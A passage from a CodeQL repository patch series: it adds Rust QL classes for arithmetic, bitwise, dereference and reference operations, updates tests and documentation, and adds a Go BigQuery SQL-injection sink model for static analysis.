[Some] | provenance | MaD:37 | -| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:31 | +| main.rs:308:25:308:40 | ...::args(...) [element] | main.rs:308:25:308:47 | ... .nth(...) [Some] | provenance | MaD:35 | +| main.rs:308:25:308:47 | ... .nth(...) [Some] | main.rs:308:25:308:74 | ... .unwrap_or(...) | provenance | MaD:29 | | main.rs:308:25:308:74 | ... .unwrap_or(...) | main.rs:279:24:279:41 | ...: String | provenance | | | main.rs:317:9:317:9 | v | main.rs:320:34:320:34 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:321:42:321:42 | v | provenance | | @@ -249,10 +245,10 @@ edges | main.rs:317:9:317:9 | v | main.rs:323:27:323:27 | v | provenance | | | main.rs:317:9:317:9 | v | main.rs:324:25:324:25 | v | provenance | | | main.rs:317:13:317:26 | ...::args | main.rs:317:13:317:28 | ...::args(...) [element] | provenance | Src:MaD:16 | -| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:37 | -| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:31 | -| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:34 | -| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:33 | +| main.rs:317:13:317:28 | ...::args(...) [element] | main.rs:317:13:317:35 | ... .nth(...) [Some] | provenance | MaD:35 | +| main.rs:317:13:317:35 | ... .nth(...) [Some] | main.rs:317:13:317:65 | ... .unwrap_or(...) | provenance | MaD:29 | +| main.rs:317:13:317:65 | ... .unwrap_or(...) | main.rs:317:13:317:82 | ... .parse() [Ok] | provenance | MaD:32 | +| main.rs:317:13:317:82 | ... .parse() [Ok] | main.rs:317:13:317:91 | ... .unwrap() | provenance | MaD:31 | | main.rs:317:13:317:91 | ... .unwrap() | main.rs:317:9:317:9 | v | provenance | | | main.rs:320:34:320:34 | v | main.rs:12:36:12:43 | ...: usize | provenance | | | main.rs:321:42:321:42 | v | main.rs:43:44:43:51 | ...: usize | provenance | | @@ -283,20 +279,18 @@ models | 21 | Summary: lang:core; ::extend_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | | 22 | Summary: lang:core; ::extend_packed; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | | 23 | Summary: lang:core; ::from_size_align; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 24 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue.Field[crate::alloc::layout::Layout::size]; value | -| 25 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | -| 26 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | -| 27 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | -| 28 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 29 | Summary: lang:core; ::size; Argument[self].Field[crate::alloc::layout::Layout::size]; ReturnValue; value | -| 30 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | -| 31 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 32 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 33 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 34 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | -| 35 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | -| 36 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | -| 37 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 24 | Summary: lang:core; ::from_size_align_unchecked; Argument[0]; ReturnValue; taint | +| 25 | Summary: lang:core; ::pad_to_align; Argument[self]; ReturnValue; taint | +| 26 | Summary: lang:core; ::repeat; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]; taint | +| 27 | Summary: lang:core; ::repeat_packed; Argument[0]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 28 | Summary: lang:core; ::size; Argument[self]; ReturnValue; taint | +| 29 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 30 | Summary: lang:core; ::expect; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 31 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 32 | Summary: lang:core; ::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint | +| 33 | Summary: lang:core; crate::cmp::max; Argument[0]; ReturnValue; value | +| 34 | Summary: lang:core; crate::cmp::min; Argument[0]; ReturnValue; value | +| 35 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value | nodes | main.rs:12:36:12:43 | ...: usize | semmle.label | ...: usize | | main.rs:18:13:18:31 | ...::realloc | semmle.label | ...::realloc | @@ -328,13 +322,10 @@ nodes | main.rs:33:31:33:32 | l5 | semmle.label | l5 | | main.rs:35:9:35:10 | s6 | semmle.label | s6 | | main.rs:36:9:36:10 | l6 | semmle.label | l6 | -| main.rs:36:9:36:10 | l6 [Layout.size] | semmle.label | l6 [Layout.size] | | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | semmle.label | ...::from_size_align_unchecked(...) | -| main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) [Layout.size] | semmle.label | ...::from_size_align_unchecked(...) [Layout.size] | | main.rs:36:60:36:61 | s6 | semmle.label | s6 | | main.rs:37:13:37:29 | ...::alloc | semmle.label | ...::alloc | | main.rs:37:31:37:32 | l6 | semmle.label | l6 | -| main.rs:37:31:37:32 | l6 [Layout.size] | semmle.label | l6 [Layout.size] | | main.rs:39:9:39:10 | l7 | semmle.label | l7 | | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | semmle.label | ...::from_size_align_unchecked(...) | | main.rs:39:60:39:68 | l6.size() | semmle.label | l6.size() | From b8fe1a676a2d3cfd888214412e1f62e6655991a5 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 22 May 2025 14:43:17 +0200 Subject: [PATCH 323/535] Swift: Clarify the tag in the Swift updating doc --- swift/third_party/resources/updating.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/swift/third_party/resources/updating.md b/swift/third_party/resources/updating.md index 2a5184e05628..80dad329643b 100644 --- a/swift/third_party/resources/updating.md +++ b/swift/third_party/resources/updating.md @@ -3,9 +3,9 @@ These files can only be updated having access for the internal repository at the In order to perform a Swift update: 1. Dispatch the [internal `swift-prebuild` workflow](https://github.com/github/semmle-code/actions/workflows/__swift-prebuild.yml) with the appropriate swift - tag. + tag, e.g., `swift-6.1.1-RELEASE`. 2. Dispatch [internal `swift-prepare-resource-dir` workflow](https://github.com/github/semmle-code/actions/workflows/__swift-prepare-resource-dir.yml) with the - appropriate swift tag. + appropriate swift tag, e.g., `swift-6.1.1-RELEASE`. 3. Once the jobs finish, staged artifacts are available at https://github.com/dsp-testing/codeql-swift-artifacts/releases. Copy and paste the sha256 within the `_override` definition in [`load.bzl`](../load.bzl). From 11480d29b7dc425884754ce53a0a0461a786b505 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 21 May 2025 11:26:55 +0100 Subject: [PATCH 324/535] Rust: Add ArithmeticOperation library. --- .../rust/elements/ArithmeticOperation.qll | 41 +++++++++++++++++++ rust/ql/lib/rust.qll | 1 + .../library-tests/operations/Operations.ql | 8 ++++ rust/ql/test/library-tests/operations/test.rs | 22 +++++----- 4 files changed, 61 insertions(+), 11 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll diff --git a/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll b/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll new file mode 100644 index 000000000000..c91d65c976a9 --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/ArithmeticOperation.qll @@ -0,0 +1,41 @@ +/** + * Provides classes for arithmetic operations. + */ + +private import codeql.rust.elements.BinaryExpr +private import codeql.rust.elements.PrefixExpr +private import codeql.rust.elements.Operation + +/** + * An arithmetic operation, such as `+`, `*=`, or `-`. + */ +abstract private class ArithmeticOperationImpl extends Operation { } + +final class ArithmeticOperation = ArithmeticOperationImpl; + +/** + * A binary arithmetic operation, such as `+` or `*`. + */ +final class BinaryArithmeticOperation extends BinaryExpr, ArithmeticOperationImpl { + BinaryArithmeticOperation() { + this.getOperatorName() = ["+", "-", "*", "/", "%"] + } +} + +/** + * An arithmetic assignment operation, such as `+=` or `*=`. + */ +final class AssignArithmeticOperation extends BinaryExpr, ArithmeticOperationImpl { + AssignArithmeticOperation() { + this.getOperatorName() = ["+=", "-=", "*=", "/=", "%="] + } +} + +/** + * A prefix arithmetic operation, such as `-`. + */ +final class PrefixArithmeticOperation extends PrefixExpr, ArithmeticOperationImpl { + PrefixArithmeticOperation() { + this.getOperatorName() = "-" + } +} diff --git a/rust/ql/lib/rust.qll b/rust/ql/lib/rust.qll index 4a533b34badc..3f39dee33375 100644 --- a/rust/ql/lib/rust.qll +++ b/rust/ql/lib/rust.qll @@ -4,6 +4,7 @@ import codeql.rust.elements import codeql.Locations import codeql.files.FileSystem import codeql.rust.elements.Operation +import codeql.rust.elements.ArithmeticOperation import codeql.rust.elements.AssignmentOperation import codeql.rust.elements.ComparisonOperation import codeql.rust.elements.LiteralExprExt diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index 482373c8d052..f33a8dec6b16 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -31,6 +31,14 @@ string describe(Expr op) { op instanceof LessOrEqualsOperation and result = "LessOrEqualsOperation" or op instanceof GreaterOrEqualsOperation and result = "GreaterOrEqualsOperation" + or + op instanceof ArithmeticOperation and result = "ArithmeticOperation" + or + op instanceof BinaryArithmeticOperation and result = "BinaryArithmeticOperation" + or + op instanceof AssignArithmeticOperation and result = "AssignArithmeticOperation" + or + op instanceof PrefixArithmeticOperation and result = "PrefixArithmeticOperation" } module OperationsTest implements TestSig { diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index dba47f5faa3d..a8fce0a0ee8a 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -19,17 +19,17 @@ fn test_operations( x >= y; // $ Operation Op=>= Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterOrEqualsOperation Greater=x Lesser=y // arithmetic operations - x + y; // $ Operation Op=+ Operands=2 BinaryExpr - x - y; // $ Operation Op=- Operands=2 BinaryExpr - x * y; // $ Operation Op=* Operands=2 BinaryExpr - x / y; // $ Operation Op=/ Operands=2 BinaryExpr - x % y; // $ Operation Op=% Operands=2 BinaryExpr - x += y; // $ Operation Op=+= Operands=2 AssignmentOperation BinaryExpr - x -= y; // $ Operation Op=-= Operands=2 AssignmentOperation BinaryExpr - x *= y; // $ Operation Op=*= Operands=2 AssignmentOperation BinaryExpr - x /= y; // $ Operation Op=/= Operands=2 AssignmentOperation BinaryExpr - x %= y; // $ Operation Op=%= Operands=2 AssignmentOperation BinaryExpr - -x; // $ Operation Op=- Operands=1 PrefixExpr + x + y; // $ Operation Op=+ Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x - y; // $ Operation Op=- Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x * y; // $ Operation Op=* Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x / y; // $ Operation Op=/ Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x % y; // $ Operation Op=% Operands=2 BinaryExpr ArithmeticOperation BinaryArithmeticOperation + x += y; // $ Operation Op=+= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x -= y; // $ Operation Op=-= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x *= y; // $ Operation Op=*= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x /= y; // $ Operation Op=/= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + x %= y; // $ Operation Op=%= Operands=2 AssignmentOperation BinaryExpr ArithmeticOperation AssignArithmeticOperation + -x; // $ Operation Op=- Operands=1 PrefixExpr ArithmeticOperation PrefixArithmeticOperation // logical operations a && b; // $ Operation Op=&& Operands=2 BinaryExpr LogicalOperation From fafdc1d181a114f43c3c17eb5268eb4a75a62fc1 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 21 May 2025 11:33:28 +0100 Subject: [PATCH 325/535] Rust: Add BitwiseOperation library. --- .../codeql/rust/elements/BitwiseOperation.qll | 27 +++++++++++++++++++ rust/ql/lib/rust.qll | 1 + .../library-tests/operations/Operations.ql | 6 +++++ rust/ql/test/library-tests/operations/test.rs | 20 +++++++------- 4 files changed, 44 insertions(+), 10 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll diff --git a/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll b/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll new file mode 100644 index 000000000000..b906a2216ce3 --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/BitwiseOperation.qll @@ -0,0 +1,27 @@ +/** + * Provides classes for bitwise operations. + */ + +private import codeql.rust.elements.BinaryExpr +private import codeql.rust.elements.Operation + +/** + * A bitwise operation, such as `&`, `<<`, or `|=`. + */ +abstract private class BitwiseOperationImpl extends Operation { } + +final class BitwiseOperation = BitwiseOperationImpl; + +/** + * A binary bitwise operation, such as `&` or `<<`. + */ +final class BinaryBitwiseOperation extends BinaryExpr, BitwiseOperationImpl { + BinaryBitwiseOperation() { this.getOperatorName() = ["&", "|", "^", "<<", ">>"] } +} + +/** + * A bitwise assignment operation, such as `|=` or `<<=`. + */ +final class AssignBitwiseOperation extends BinaryExpr, BitwiseOperationImpl { + AssignBitwiseOperation() { this.getOperatorName() = ["&=", "|=", "^=", "<<=", ">>="] } +} diff --git a/rust/ql/lib/rust.qll b/rust/ql/lib/rust.qll index 3f39dee33375..e64b0e36abb8 100644 --- a/rust/ql/lib/rust.qll +++ b/rust/ql/lib/rust.qll @@ -6,6 +6,7 @@ import codeql.files.FileSystem import codeql.rust.elements.Operation import codeql.rust.elements.ArithmeticOperation import codeql.rust.elements.AssignmentOperation +import codeql.rust.elements.BitwiseOperation import codeql.rust.elements.ComparisonOperation import codeql.rust.elements.LiteralExprExt import codeql.rust.elements.LogicalOperation diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index f33a8dec6b16..76e9acfde3f6 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -39,6 +39,12 @@ string describe(Expr op) { op instanceof AssignArithmeticOperation and result = "AssignArithmeticOperation" or op instanceof PrefixArithmeticOperation and result = "PrefixArithmeticOperation" + or + op instanceof BitwiseOperation and result = "BitwiseOperation" + or + op instanceof BinaryBitwiseOperation and result = "BinaryBitwiseOperation" + or + op instanceof AssignBitwiseOperation and result = "AssignBitwiseOperation" } module OperationsTest implements TestSig { diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index a8fce0a0ee8a..72cb8269636f 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -37,16 +37,16 @@ fn test_operations( !a; // $ Operation Op=! Operands=1 PrefixExpr LogicalOperation // bitwise operations - x & y; // $ Operation Op=& Operands=2 BinaryExpr - x | y; // $ Operation Op=| Operands=2 BinaryExpr - x ^ y; // $ Operation Op=^ Operands=2 BinaryExpr - x << y; // $ Operation Op=<< Operands=2 BinaryExpr - x >> y; // $ Operation Op=>> Operands=2 BinaryExpr - x &= y; // $ Operation Op=&= Operands=2 AssignmentOperation BinaryExpr - x |= y; // $ Operation Op=|= Operands=2 AssignmentOperation BinaryExpr - x ^= y; // $ Operation Op=^= Operands=2 AssignmentOperation BinaryExpr - x <<= y; // $ Operation Op=<<= Operands=2 AssignmentOperation BinaryExpr - x >>= y; // $ Operation Op=>>= Operands=2 AssignmentOperation BinaryExpr + x & y; // $ Operation Op=& Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x | y; // $ Operation Op=| Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x ^ y; // $ Operation Op=^ Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x << y; // $ Operation Op=<< Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x >> y; // $ Operation Op=>> Operands=2 BinaryExpr BitwiseOperation BinaryBitwiseOperation + x &= y; // $ Operation Op=&= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x |= y; // $ Operation Op=|= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x ^= y; // $ Operation Op=^= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x <<= y; // $ Operation Op=<<= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation + x >>= y; // $ Operation Op=>>= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation // miscellaneous expressions that might be operations *ptr; // $ Operation Op=* Operands=1 PrefixExpr From 6c19cecb076115d621f1725dcccd1b1a1114f991 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 21 May 2025 11:55:48 +0100 Subject: [PATCH 326/535] Rust: Add DerefExpr class. --- rust/ql/lib/codeql/rust/elements/DerefExpr.qll | 13 +++++++++++++ rust/ql/lib/rust.qll | 1 + rust/ql/test/library-tests/operations/Operations.ql | 2 ++ rust/ql/test/library-tests/operations/test.rs | 2 +- 4 files changed, 17 insertions(+), 1 deletion(-) create mode 100644 rust/ql/lib/codeql/rust/elements/DerefExpr.qll diff --git a/rust/ql/lib/codeql/rust/elements/DerefExpr.qll b/rust/ql/lib/codeql/rust/elements/DerefExpr.qll new file mode 100644 index 000000000000..28302a934117 --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/DerefExpr.qll @@ -0,0 +1,13 @@ +/** + * Provides classes for deref expressions (`*`). + */ + +private import codeql.rust.elements.PrefixExpr +private import codeql.rust.elements.Operation + +/** + * A dereference expression, `*`. + */ +final class DerefExpr extends PrefixExpr, Operation { + DerefExpr() { this.getOperatorName() = "*" } +} diff --git a/rust/ql/lib/rust.qll b/rust/ql/lib/rust.qll index e64b0e36abb8..209a002663f4 100644 --- a/rust/ql/lib/rust.qll +++ b/rust/ql/lib/rust.qll @@ -8,6 +8,7 @@ import codeql.rust.elements.ArithmeticOperation import codeql.rust.elements.AssignmentOperation import codeql.rust.elements.BitwiseOperation import codeql.rust.elements.ComparisonOperation +import codeql.rust.elements.DerefExpr import codeql.rust.elements.LiteralExprExt import codeql.rust.elements.LogicalOperation import codeql.rust.elements.AsyncBlockExpr diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index 76e9acfde3f6..2c2c7ac7e996 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -45,6 +45,8 @@ string describe(Expr op) { op instanceof BinaryBitwiseOperation and result = "BinaryBitwiseOperation" or op instanceof AssignBitwiseOperation and result = "AssignBitwiseOperation" + or + op instanceof DerefExpr and result = "DerefExpr" } module OperationsTest implements TestSig { diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index 72cb8269636f..662a5ce02524 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -49,7 +49,7 @@ fn test_operations( x >>= y; // $ Operation Op=>>= Operands=2 AssignmentOperation BinaryExpr BitwiseOperation AssignBitwiseOperation // miscellaneous expressions that might be operations - *ptr; // $ Operation Op=* Operands=1 PrefixExpr + *ptr; // $ Operation Op=* Operands=1 PrefixExpr DerefExpr &x; // $ RefExpr res?; From b8f0e4d7e054942f29c1a44cd1995527dd1e07ce Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 21 May 2025 13:49:46 +0100 Subject: [PATCH 327/535] Rust: Use DerefExpr. --- rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll | 2 +- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 6 ++---- .../codeql/rust/security/AccessInvalidPointerExtensions.qll | 4 +--- 3 files changed, 4 insertions(+), 8 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll index 9bb2029cd447..790186bf2c9f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll @@ -610,7 +610,7 @@ module Impl { exists(Expr mid | assignmentExprDescendant(mid) and getImmediateParent(e) = mid and - not mid.(PrefixExpr).getOperatorName() = "*" and + not mid instanceof DerefExpr and not mid instanceof FieldExpr and not mid instanceof IndexExpr ) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index bae628b47233..6ddaa81bfbfc 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -259,8 +259,7 @@ private predicate typeEqualityLeft(AstNode n1, TypePath path1, AstNode n2, TypeP typeEquality(n1, path1, n2, path2) or n2 = - any(PrefixExpr pe | - pe.getOperatorName() = "*" and + any(DerefExpr pe | pe.getExpr() = n1 and path1.isCons(TRefTypeParameter(), path2) ) @@ -271,8 +270,7 @@ private predicate typeEqualityRight(AstNode n1, TypePath path1, AstNode n2, Type typeEquality(n1, path1, n2, path2) or n2 = - any(PrefixExpr pe | - pe.getOperatorName() = "*" and + any(DerefExpr pe | pe.getExpr() = n1 and path1 = TypePath::cons(TRefTypeParameter(), path2) ) diff --git a/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll b/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll index 377886092117..36abfb62d541 100644 --- a/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll @@ -50,9 +50,7 @@ module AccessInvalidPointer { * A pointer access using the unary `*` operator. */ private class DereferenceSink extends Sink { - DereferenceSink() { - exists(PrefixExpr p | p.getOperatorName() = "*" and p.getExpr() = this.asExpr().getExpr()) - } + DereferenceSink() { exists(DerefExpr p | p.getExpr() = this.asExpr().getExpr()) } } /** From b22ce5515fe6a52aa7150b028072f86dcb75036e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 21 May 2025 14:15:47 +0100 Subject: [PATCH 328/535] Rust: Make RefExpr an Operation. --- rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll | 7 ++++++- rust/ql/test/library-tests/operations/test.rs | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll index 83f32d892fbb..752b94dbacd2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll @@ -5,6 +5,7 @@ */ private import codeql.rust.elements.internal.generated.RefExpr +private import codeql.rust.elements.internal.OperationImpl::Impl as OperationImpl /** * INTERNAL: This module contains the customizable definition of `RefExpr` and should not @@ -21,11 +22,15 @@ module Impl { * let raw_mut: &mut i32 = &raw mut foo; * ``` */ - class RefExpr extends Generated::RefExpr { + class RefExpr extends Generated::RefExpr, OperationImpl::Operation { override string toStringImpl() { result = "&" + concat(int i | | this.getSpecPart(i), " " order by i) } + override string getOperatorName() { result = "&" } + + override Expr getAnOperand() { result = this.getExpr() } + private string getSpecPart(int index) { index = 0 and this.isRaw() and result = "raw" or diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index 662a5ce02524..c3cde698aa0d 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -50,7 +50,7 @@ fn test_operations( // miscellaneous expressions that might be operations *ptr; // $ Operation Op=* Operands=1 PrefixExpr DerefExpr - &x; // $ RefExpr + &x; // $ Operation Op=& Operands=1 RefExpr MISSING: PrefixExpr res?; return Ok(()); From 476ada13dbf4753257d3bdd01b66dddd31a2b114 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 14:22:28 +0100 Subject: [PATCH 329/535] Improve QLDoc for `SpringRequestMappingMethod.getAValue` --- .../code/java/frameworks/spring/SpringController.qll | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll index 4717cf031a23..c93993336d95 100644 --- a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll +++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll @@ -156,7 +156,12 @@ class SpringRequestMappingMethod extends SpringControllerMethod { /** DEPRECATED: Use `getAValue()` instead. */ deprecated string getValue() { result = requestMappingAnnotation.getStringValue("value") } - /** Gets the "value" @RequestMapping annotation array string value, if present. */ + /** + * Gets a "value" @RequestMapping annotation string value, if present. + * + * If the annotation element is defined with an array initializer, then the result will be one of the + * elements of that array. Otherwise, the result will be the single expression used as value. + */ string getAValue() { result = requestMappingAnnotation.getAStringArrayValue("value") } /** Gets the "method" @RequestMapping annotation value, if present. */ From 79453cc10310dccc74c0e38c4b2facb4928fe939 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 14:30:32 +0100 Subject: [PATCH 330/535] Add test showing correct usage --- java/ql/src/Performance/StringReplaceAllWithNonRegex.md | 1 + java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java | 1 + 2 files changed, 2 insertions(+) diff --git a/java/ql/src/Performance/StringReplaceAllWithNonRegex.md b/java/ql/src/Performance/StringReplaceAllWithNonRegex.md index 6e298b4955b6..c7bb609b2c02 100644 --- a/java/ql/src/Performance/StringReplaceAllWithNonRegex.md +++ b/java/ql/src/Performance/StringReplaceAllWithNonRegex.md @@ -18,6 +18,7 @@ public class Test { String s1 = "test"; s1 = s1.replaceAll("t", "x"); // NON_COMPLIANT s1 = s1.replaceAll(".*", "x"); // COMPLIANT + s1 = s1.replace("t", "x"); // COMPLIANT } } diff --git a/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java b/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java index 1465343b8c2e..86711c93de51 100644 --- a/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java +++ b/java/ql/test/query-tests/StringReplaceAllWithNonRegex/Test.java @@ -3,5 +3,6 @@ void f() { String s1 = "test"; s1 = s1.replaceAll("t", "x"); // $ Alert // NON_COMPLIANT s1 = s1.replaceAll(".*", "x"); // COMPLIANT + s1 = s1.replace("t", "x"); // COMPLIANT } } From c0187aff7356f22a65a32857443b5c4957dac8fb Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 15:15:54 +0100 Subject: [PATCH 331/535] Add model for cloud.google.com/go/bigquery.Client.Query --- go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml diff --git a/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml new file mode 100644 index 000000000000..e2d51e9c6ae2 --- /dev/null +++ b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/go-all + extensible: sinkModel + data: + - ["cloud.google.com/go/bigquery", "Client", True, "Query", "", "", "Argument[0]", "sql-injection", "manual"] From 66bbaf2dc89ed8a63b61201d0a6d364caddcc19a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 15:16:12 +0100 Subject: [PATCH 332/535] Add tests for cloud.google.com/go/bigquery.Client.Query --- .../SQL/bigquery/QueryString.expected | 2 + .../go/frameworks/SQL/bigquery/QueryString.ql | 56 + .../frameworks/SQL/bigquery/bigquery.expected | 1 + .../go/frameworks/SQL/bigquery/bigquery.go | 18 + .../go/frameworks/SQL/bigquery/bigquery.ql | 7 + 